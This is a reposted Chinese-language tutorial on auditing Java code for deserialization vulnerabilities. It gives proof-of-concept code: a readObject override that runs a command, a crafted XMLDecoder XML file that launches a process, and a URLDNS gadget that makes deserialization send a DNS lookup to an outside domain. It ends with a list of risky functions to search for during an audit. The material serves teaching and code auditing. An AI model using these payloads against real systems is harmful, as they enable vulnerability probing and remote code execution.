Java代码审计–反序列化漏洞

admin 2025-12-26 01:52:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析Java反序列化漏洞原理,涵盖序列化机制、自定义readObject攻击及GadgetChain。重点分析XMLDecoder与URLDNS漏洞利用方式,提供复现代码。总结审计关键词如ObjectInputStream.readObject和Yaml.load。建议审计时重点排查高危函数入口及反序列化逻辑,避免处理不可信数据以防止RCE。 综合评分: 93 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全


cover_image

Java 代码审计 – 反序列化漏洞

原创

GOWLSJ125

走在网安路上的哥布林

2025年12月25日 20:39 山东

什么是序列化与反序列化

定义

    序列化(Serialization)是指将 Java 对象的字段值转换为可存储或可传输的字节流(byte stream)的过程。

    反序列化(Deserialization)则是将这个字节流重新构造成一个 Java 对象的过程。

    Java 提供了objectstream序列化 API,该 API 的基本思想是,所有的对象都以字节流的形式存储,任何对象都可以通过objectstream序列化来写入对象输出流中,然后从输入流中读取出来。

使用场景

  • 持久化对象:将对象保存到文件或数据库中,程序重启后恢复。
  • 网络传输:通过 RMI、Socket、HTTP 等方式在不同 JVM 之间传递对象。
  • 缓存:将对象临时存入内存或磁盘缓存(如 Redis 的 Java 对象存储)。
  • 深拷贝:通过“序列化 → 反序列化”实现对象的深度复制。

序列化步骤

创建一个类,实现 Serializable 接口

    Serializable是一个标记接口(marker interface),没有任何方法。JVM 通过反射检查该类是否实现了此接口来决定是否允许序列化。

package serialization.test;

/**
 * Niuma类实现了Serializable接口,表示该类的对象可以被序列化
 * 序列化是指将对象的状态信息转换为可以存储或传输的形式的过程
 */
public class Niuma implements java.io.Serializable{
    // serialVersionUID:序列化版本号
    // 用于在反序列化时验证发送方和接收方的类是否兼容
    private static final long serialVersionUID = 1L;
    private String name;
    private int age;
    // transient关键字:标记salary字段不参与序列化过程
    // 这意味着当对象被序列化时,salary的值不会被保存
    transient private int salary;

    public Niuma(String name, int age, int salary) {
        this.name = name;
        this.age = age;
        this.salary = salary;
    }

    public String toString(){
        return "name:"+name+" age:"+age+" salary:"+salary;
    }
}
  • 实现Serializable接口只是表明该类可以被序列化,实际的序列化过程需要通过ObjectOutputStreamObjectInputStream来完成。
  • transient字段在序列化时会被忽略,反序列化后该字段的值会是其类型的默认值(对于int类型是0
  • 如果不显式声明serialVersionUID,JVM 会根据类的详细信息自动生成一个。

序列化

    序列化是指把 Java 对象转换为字节序列的过程,目的是便于保存在内存、文件、数据库中。ObjectOutputStream类的writeObject()方法可以实现序列化。

writeObject()方法:对指定的 obj 对象进行序列化操作,并将得到的字节序列写到目标输出流中。

package serialization.test;

// 导入FileOutputStream类,用于将数据写入文件
import java.io.FileOutputStream;
// 导入ObjectOutputStream类,用于对象序列化
import java.io.ObjectOutputStream;
import java.io.IOException;

/**
 * 创建一个Niuma对象并将其序列化到文件中
 */
public class SerializeDemo {
    public static void main(String[] args) {
        Niuma nm = new Niuma("niuma", 29, 9500);
        // 使用try-with-resources语句确保ObjectOutputStream和FileOutputStream正确关闭
        try(ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/opt/javaProject/Serialization/niuma.ser"))){
            // 将Niuma对象写入输出流,完成序列化过程
            oos.writeObject(nm);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

内部发生了什么

  1. JVM 检查 Niuma 是否实现了Serializable

  2. 如果没有,抛出NotSerializableException

  3. 如果有,则递归检查:

  4. 所有非transient、非static的实例字段;

  5. 这些字段的类型也必须可序列化(或为基本类型);

  6. 如果某个字段不可序列化,抛出异常。

  7. 将对象的类元数据(如类名、serialVersionUID)和字段值写入输出流。

序列化的是字段值,不是代码或方法。

反序列化步骤

    反序列化是指把字节序列恢复为 Java 对象的过程。ObjectInputStream类的readObject()方法可实现反序列化。

readObject()方法:从源输入流中读取字节序列,再将其反序列化为对象并返回。

    通过 java 反序列化的过程,可以重建对象的状态到内存中,可以用于从文件中读取对象,也可以用于从网络数据流中读取对象,并重建对象到内存中。

package serialization.test;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

/**
 * 从文件中读取序列化的对象并恢复为Java对象
 */
public class DeserializeDemo {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/opt/javaProject/Serialization/niuma.ser"))) {
            Niuma nm = (Niuma) ois.readObject();
            System.out.println(nm);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

实现原理

  • 使用ObjectInputStream类进行反序列化操作;
  • FileInputStream用于读取文件中的字节数据;
  • readObject()方法将字节流转换回 Java 对象;
  • 使用try-with-resources语句确保流资源能够正确关闭。

内部发生了什么

  • 从字节流中读取类的元信息(包括serialVersionUID)。

  • JVM 尝试在当前ClassPath中查找对应的类。

  • 不会调用构造函数!

  • 对象是通过sun.reflect.ReflectionFactory.newConstructorForSerialization()创建的“裸对象”。

  • 字段值直接从字节流中填充。

  • 如果serialVersionUID不匹配,抛出InvalidClassException

哪些内容不会被序列化?

| 类型 | 是否序列化 | 说明 | | — | — | — | | static 字段 | ❌ | 属于类,不属于对象实例 | | transient 字段 | ❌ | 显式排除 | | 方法 | ❌ | 序列化只关心状态,不关心行为 | | 父类字段(父类未实现Serializable) | 部分 | 父类字段不会被序列化,但反序列化时会调用父类无参构造器初始化 |

自定义序列化行为

writeObject() 和 readObject()

private void writeObject(ObjectOutputStream out) throws IOException {
    out.defaultWriteObject(); // 先执行默认序列化
    // 自定义逻辑:比如加密 password
    out.writeObject(encrypt(this.password));
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject(); // 先执行默认反序列化
    // 自定义逻辑:解密
    this.password = decrypt((String) in.readObject());
}

这两个方法必须是private,JVM 会通过反射调用它们。

writeReplace() 和 readResolve()

// 单例类
public class Singleton implements Serializable {
    private static final Singleton INSTANCE = new Singleton();

    private Singleton() {}

    public static Singleton getInstance() {
        return INSTANCE;
    }

    // 防止反序列化创建新实例
    private Object readResolve() {
        return INSTANCE;
    }
}

造成反序列化漏洞的原因

    在 Java 反序列化过程中,如果某个类重写了private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException方法,那么在反序列化该类的对象时,JVM 会自动调用这个方法。

  • 如果readObject()方法中包含对输入数据的处理逻辑(如反射、动态类加载、命令执行等),而这些逻辑又依赖于反序列化传入的数据,就可能被利用。
  • 即使类本身没有重写readObject(),但若其继承链或引用的其他对象中有可被利用的readObject()readResolve()finalize()等方法,也可能被链式调用(gadget chain)触发漏洞。

重写 readObject() 方法

package serialization.test;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serial;

/**
 * Niuma类实现了Serializable接口,表示该类的对象可以被序列化
 * 序列化是指将对象的状态信息转换为可以存储或传输的形式的过程
 */
public class Niuma implements java.io.Serializable{
    // 序列化版本UID,用于控制版本兼容性
    private static final long serialVersionUID = 1L;
    private String name;
    private int age;
    // 不参与序列化
    transient private int salary;

    public Niuma(String name, int age, int salary) {
        this.name = name;
        this.age = age;
        this.salary = salary;
    }
    public String toString(){
        return "name:"+name+" age:"+age+" salary:"+salary;
    }

    @Serial
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 先执行默认操作
        in.defaultReadObject();
        // 模拟反序列化时执行任意命令(漏洞触发点)
        Runtime.getRuntime().exec("gnome-calculator");
    }
}

进行序列化操作

package serialization.test;

// 导入FileOutputStream类,用于将数据写入文件
import java.io.FileOutputStream;
// 导入ObjectOutputStream类,用于对象序列化
import java.io.ObjectOutputStream;
import java.io.IOException;

/**
 * 创建一个Niuma对象并将其序列化到文件中
 */
public class SerializeDemo {
    public static void main(String[] args) {
        Niuma nm = new Niuma("niuma", 29, 9500);
        // 使用try-with-resources语句确保ObjectOutputStream和FileOutputStream正确关闭
        try(ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/opt/javaProject/Serialization/niuma.ser"))){
            // 将Niuma对象写入输出流,完成序列化过程
            oos.writeObject(nm);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

进行反序列化操作

package serialization.test;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

/**
 * 从文件中读取序列化的对象并恢复为Java对象
 */
public class DeserializeDemo {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/opt/javaProject/Serialization/niuma.ser"))) {
            Niuma nm = (Niuma) ois.readObject(); // 漏洞发生处!
            System.out.println(nm);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

XMLDecoder 反序列化

    Java 有DOMSAX两种原生解析 XML 的方式,DOM解析功能强大,可增删改查,操作时会将 XML 文档以文档对象的方式读取到内存中,因此适用于小文档;SAX解析是从头到尾逐个元素读取内容,修改较为不便,但适用于只读的大文档。

    XMLDecoder是 Java 自带的以SAX(simple API for XML)方式解析 XML 的类,其在反序列化经过特殊构造的数据时可以执行任意命令。

构造恶意 XML 文件

<java>
&nbsp; &nbsp; <object class="java.lang.ProcessBuilder">
&nbsp; &nbsp; &nbsp; &nbsp; <array class="java.lang.String" length="1">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <void index="0">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <string>gnome-calculator</string>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </void>
&nbsp; &nbsp; &nbsp; &nbsp; </array>
&nbsp; &nbsp; &nbsp; &nbsp; <void method="start"></void>
&nbsp; &nbsp; </object>
</java>

编写 Java 类,把 XML 文件反序列化为对象

package serialization.test;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

/**
&nbsp;* 通过XMLDecoder从XML文件中读取对象数据
&nbsp;*/
public class XmlDeSerial {
&nbsp; &nbsp; public static void main(String[] args) {
&nbsp; &nbsp; &nbsp; &nbsp; // 定义XML文件的路径
&nbsp; &nbsp; &nbsp; &nbsp; String f = "/opt/javaProject/Serialization/calc.xml";
&nbsp; &nbsp; &nbsp; &nbsp; // 创建File对象
&nbsp; &nbsp; &nbsp; &nbsp; File file = new File(f);
&nbsp; &nbsp; &nbsp; &nbsp; FileInputStream fis = null;
&nbsp; &nbsp; &nbsp; &nbsp; // 尝试打开文件输入流
&nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fis = new FileInputStream(file);
&nbsp; &nbsp; &nbsp; &nbsp; } catch (FileNotFoundException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 如果文件未找到,抛出运行时异常
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new RuntimeException(e);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; // 创建缓冲输入流,提高读取效率
&nbsp; &nbsp; &nbsp; &nbsp; BufferedInputStream bis = new BufferedInputStream(fis);
&nbsp; &nbsp; &nbsp; &nbsp; // 创建XMLDecoder对象,用于XML反序列化
&nbsp; &nbsp; &nbsp; &nbsp; XMLDecoder xmlDecoder = new XMLDecoder(bis);
&nbsp; &nbsp; &nbsp; &nbsp; // 从XML文件中读取对象
&nbsp; &nbsp; &nbsp; &nbsp; xmlDecoder.readObject();
&nbsp; &nbsp; &nbsp; &nbsp; // 关闭XMLDecoder,释放资源
&nbsp; &nbsp; &nbsp; &nbsp; xmlDecoder.close();
&nbsp; &nbsp; }
}

URLDNS 反序列化漏洞

    URLDNS是 Java 反序列化漏洞利用中一个经典且安全的 POC(Proof of Concept),它不执行命令、不写文件,而是通过反序列化触发 DNS 查询,用于探测目标是否存在反序列化漏洞。

漏洞原理

    URLDNS利用了 Java 标准库中的java.net.URL类和java.util.HashMap的反序列化行为,在反序列化过程中自动触发 DNS 解析请求。

  • 关键点:URL 对象在作为HashMap的 key 被反序列化时,会调用其hashCode()方法,而hashCode()会触发 DNS 解析。
  • 无需第三方库:仅依赖 JDK 自带类,JDK ≤ 8u121 等版本受影响,后续版本(如 8u131+)对 URL 的hashCode()做了优化,不再自动解析主机名,因此无法触发 DNS。
package serialization.test;

import java.net.URL;
import java.util.HashMap;

public class UrlDnsDemo {
&nbsp; &nbsp; public static void main(String[] args) throws Exception {
&nbsp; &nbsp; &nbsp; &nbsp; HashMap<URL, String> map = new HashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp; URL url = new URL("http://flttjzmlsp.lfcx.eu.org");
&nbsp; &nbsp; &nbsp; &nbsp; map.put(url, "w");
&nbsp; &nbsp; }
}

跟进HashMapput方法,发现调用的是putVal()方法。

跟进第一个参数hash(key),如果key==null,返回0;否则执行java.net.URL下的hashCode()

java.net.URL中的hashCode()部分:

hashCode的值默认为-1

跟进handler,发现实则为URLStreamHandler对象。

查看URLStreamHandlerhashCode()方法。

跟进getHostAddress

这段代码用于获取URL中主机名对应的 IP 地址:

  • 方法名称和返回值:

  • 方法名:getHostAddress()

  • 返回值类型:InetAddress(表示 IP 地址的对象)

  • 使用synchronized关键字,确保线程安全

  • 实现原理:

  • 首先检查hostAddress是否已经存在(缓存机制)

  • 如果host为null或空字符串,直接返回null

  • 使用InetAddress.getByName()方法将主机名转换为 IP 地址

  • 捕获可能的异常(UnknownHostException和SecurityException)

  • 用途:

  • 将URL中的主机名(如”www.example.com”)转换为IP地址

  • 使用缓存机制避免重复 DNS 查询

  • 提供线程安全的 IP 地址获取功能

package&nbsp;serialization.test;import&nbsp;org.junit.Test;import&nbsp;java.io.*;import&nbsp;java.lang.reflect.Field;import&nbsp;java.net.URL;import&nbsp;java.util.HashMap;/**&nbsp;* 通过反射修改URL对象的hashCode值,控制DNS查询的触发时机&nbsp;*/public&nbsp;class&nbsp;UrlDnsDemo&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建一个HashMap对象,键为URL对象,值为字符串&nbsp; &nbsp; &nbsp; &nbsp; HashMap<URL, String> map =&nbsp;new&nbsp;HashMap<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 创建一个URL对象,指向指定的域名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;URL&nbsp;url&nbsp;=&nbsp;new&nbsp;URL("http://uglmzsdtmm.yutu.eu.org");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取URL类的Class对象&nbsp; &nbsp; &nbsp; &nbsp; Class<?> clazz = URL.class;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 通过反射获取URL类的hashCode字段&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;hashCode&nbsp;=&nbsp;clazz.getDeclaredField("hashCode");&nbsp; &nbsp; &nbsp; &nbsp; hashCode.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 让序列化的时候不执行&nbsp; &nbsp; &nbsp; &nbsp; hashCode.set(url,&nbsp;1);&nbsp; &nbsp; &nbsp; &nbsp; map.put(url,&nbsp;"w");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 改回来,不然反序列化的时候仍然无法执行&nbsp; &nbsp; &nbsp; &nbsp; hashCode.set(url, -1);&nbsp; &nbsp; &nbsp; &nbsp; Serialization(map);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;Serialization(Object obj)&nbsp;throws&nbsp;IOException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileOutputStream&nbsp;fos&nbsp;=&nbsp;new&nbsp;FileOutputStream("/opt/javaProject/Serialization/ud.ser");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectOutputStream&nbsp;oos&nbsp;=&nbsp;new&nbsp;ObjectOutputStream(fos);&nbsp; &nbsp; &nbsp; &nbsp; oos.writeObject(obj);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;@Test&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;Deserialization()&nbsp;throws&nbsp;IOException, ClassNotFoundException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileInputStream&nbsp;fis&nbsp;=&nbsp;new&nbsp;FileInputStream("/opt/javaProject/Serialization/ud.ser");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ObjectInputStream&nbsp;ois&nbsp;=&nbsp;new&nbsp;ObjectInputStream(fis);&nbsp; &nbsp; &nbsp; &nbsp; ois.readObject();&nbsp; &nbsp; }}

审计关键词

在代码审计中,搜索以下关键词:

  • ObjectInputStream.readObject
  • ObjectInputStream.readUnshared
  • XMLDecoder.readObject
  • Yaml.load
  • XStream.fromXML
  • ObjectMapper.readValue
  • JSON.parseObject

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:走在网安路上的哥布林 GOWLSJ125《Java 代码审计 – 反序列化漏洞》

评论:0   参与:  4